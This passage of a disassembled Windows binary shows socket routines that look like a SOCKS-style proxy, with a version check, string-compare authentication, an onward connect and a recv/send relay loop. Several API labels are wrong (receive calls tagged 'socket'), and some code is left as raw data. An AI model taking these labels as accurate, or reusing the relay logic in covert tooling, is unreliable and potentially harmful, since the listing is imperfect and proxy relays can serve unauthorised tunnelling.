		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42A68F
		dec	eax
		jz	short loc_42A63A
		dec	eax
		jnz	loc_42A782
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A63A:				; CODE XREF: sub_42A5F0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_40174E
		test	al, al
		jz	loc_42A782
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42A6AB
; ---------------------------------------------------------------------------


loc_42A68F:				; CODE XREF: sub_42A5F0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42A6AB:				; CODE XREF: sub_42A5F0+9Dj
		mov	ebx, dword_50FC30
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42A782
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42A782
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_50FC5C
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jnz	short loc_42A782


loc_42A709:				; CODE XREF: sub_42A5F0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		call	near ptr 71AB2DC0h
		nop
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42A766
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42A709


loc_42A766:				; CODE XREF: sub_42A5F0+16Fj
		mov	esi, dword_50FC88
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: sub_42A5F0+35j
					; sub_42A5F0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42A5F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A810	proc near		; CODE XREF: sub_42B2D0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42AACA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42ABE6
		mov	edi, dword_50FC80
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42AC73
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h
		dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44534468h, 0E8905600h
		dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42AACA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42A9DB:				; CODE XREF: sub_42A810+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42A9FF
		test	al, al
		jz	short loc_42A9FB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42A9FF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42A9DB


loc_42A9FB:				; CODE XREF: sub_42A810+1D5j
		xor	eax, eax
		jmp	short loc_42AA04
; ---------------------------------------------------------------------------


loc_42A9FF:				; CODE XREF: sub_42A810+1D1j
					; sub_42A810+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA04:				; CODE XREF: sub_42A810+1EDj
		test	eax, eax
		jz	short loc_42AA61
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017E4
		lea	edi, [esp+83Ch+var_100]


loc_42AA1E:				; CODE XREF: sub_42A810+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42AA42
		test	cl, cl
		jz	short loc_42AA3E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42AA42
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42AA1E


loc_42AA3E:				; CODE XREF: sub_42A810+218j
		xor	eax, eax
		jmp	short loc_42AA47
; ---------------------------------------------------------------------------


loc_42AA42:				; CODE XREF: sub_42A810+214j
					; sub_42A810+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA47:				; CODE XREF: sub_42A810+230j
		test	eax, eax
		jz	short loc_42AA61
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AA61:				; CODE XREF: sub_42A810+1F6j
					; sub_42A810+239j
		mov	edi, dword_50FC8C
		push	0
		push	2
		push	offset dword_445340
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42AACA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42AB31
		sub	eax, 2
		jz	short loc_42AAD9
		dec	eax


loc_42AAC8:				; CODE XREF: sub_42A810+31Fj
		jnz	short loc_42AB40


loc_42AACA:				; CODE XREF: sub_42A810+32j
					; sub_42A810+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AAD9:				; CODE XREF: sub_42A810+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_40174E
		test	al, al
		jmp	short loc_42AAC8
; ---------------------------------------------------------------------------


loc_42AB31:				; CODE XREF: sub_42A810+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42AB40:				; CODE XREF: sub_42A810:loc_42AAC8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42AACA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42AACA
		push	eax
		push	4
		push	offset dword_445338
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020C2
		push	ebx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42ABE6:				; CODE XREF: sub_42A810+47j
		cmp	ax, 2
		jnz	loc_42AC73
		mov	ebx, dword_50FC80


loc_42ABF6:				; CODE XREF: sub_42A810+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		call	near ptr 71AB2D0Fh
		nop
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C1C
		test	edi, edi
		jz	short loc_42AC73
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AC73
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42ABF6


loc_42AC73:				; CODE XREF: sub_42A810+67j
					; sub_42A810+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42A810	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ADB0	proc near		; CODE XREF: sub_401F19j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42ADC4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADC4:				; CODE XREF: sub_42ADB0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42ADD6
		dec	eax
		jz	short loc_42ADF8
		mov	word ptr [esi+6], 1


loc_42ADD6:				; CODE XREF: sub_42ADB0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42ADE0:				; CODE XREF: sub_42ADB0+52j
		push	ecx
		push	eax
		push	2
		call	near ptr 71AB3B91h
		nop
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42AE04
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADF8:				; CODE XREF: sub_42ADB0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42ADE0
; ---------------------------------------------------------------------------


loc_42AE04:				; CODE XREF: sub_42ADB0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42AE49
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE49:				; CODE XREF: sub_42ADB0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42AE71
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_42AE71
		mov	edx, [esi+32h]
		push	edx
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE71:				; CODE XREF: sub_42ADB0+9Ej
					; sub_42ADB0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42ADB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AEC0	proc near		; CODE XREF: sub_401DBBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42AEC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42AF5A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42AF41
		mov	ebx, dword_50FC84
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42AF26


loc_42AF12:				; CODE XREF: sub_42AEC0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42AF12


loc_42AF26:				; CODE XREF: sub_42AEC0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42AF7A


loc_42AF41:				; CODE XREF: sub_42AEC0+39j
					; sub_42AEC0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42AF54:				; DATA XREF: ___:00441F74o
		mov	eax, offset loc_42AF41
		retn
; ---------------------------------------------------------------------------


loc_42AF5A:				; CODE XREF: sub_42AEC0+2Bj
		cmp	ax, 2
		jnz	short loc_42AF41
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42AF41


loc_42AF7A:				; CODE XREF: sub_42AEC0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AEC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AFD0:				; CODE XREF: ___:00401F78j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43BB90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B019:				; DATA XREF: ___:loc_42B031o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42B031:				; DATA XREF: ___:00441FD4o
		mov	eax, offset loc_42B019
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B060	proc near		; CODE XREF: sub_401C17j

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42B060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42B0D7


loc_42B097:				; CODE XREF: ___:0042B166j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42B0D7:				; CODE XREF: sub_42B060+35j
		push	42h
		call	sub_4367FA
sub_42B060	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42B0FC
		push	1
		mov	ecx, eax
		call	sub_4014E7
		jmp	short loc_42B0FE
; ---------------------------------------------------------------------------


loc_42B0FC:				; CODE XREF: ___:0042B0EFj
		xor	eax, eax


loc_42B0FE:				; CODE XREF: ___:0042B0FAj
		mov	dword_50E3D8, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_50E3D8
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40200E
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_50E3D8
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40200E
		mov	eax, dword_50E3D8
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F19
		test	al, al
		jz	loc_42B097


loc_42B16C:				; CODE XREF: ___:0042B17Dj
		mov	eax, dword_50E3D8
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DBB
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B1D0	proc near		; CODE XREF: sub_4014E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42B1F2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_4014AB


loc_42B1F2:				; CODE XREF: sub_42B1D0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42B1D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B240	proc near		; CODE XREF: sub_4014ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_401424
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B240	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B2D0	proc near		; CODE XREF: sub_4020D1j

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42B2D0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42B2E0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43BC08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401F82
		push	offset off_443D80
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43E1A0
		call	sub_4015D7
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B350	proc near		; CODE XREF: ___:00401398j sub_401F41j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42B368
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B368:				; CODE XREF: sub_42B350+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B350	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B380	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_40179E
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3A0	proc near		; CODE XREF: sub_40134Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42B42C
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B3CC:				; CODE XREF: sub_42B3A0+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42B3CC


loc_42B42C:				; CODE XREF: sub_42B3A0+1Ej
					; sub_42B3A0+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B448
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B448:				; CODE XREF: sub_42B3A0+9Fj
		add	esp, 1000h
		retn
sub_42B3A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B480	proc near		; CODE XREF: sub_401663j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B480
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_443D80
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E1B0
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B480	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B4F0	proc near		; CODE XREF: ___:004013A7j sub_401B22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42B508
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B508:				; CODE XREF: sub_42B4F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B4F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B520	proc near		; CODE XREF: sub_401217j
		jmp	sub_40179E
sub_42B520	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B540	proc near		; CODE XREF: sub_40152Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
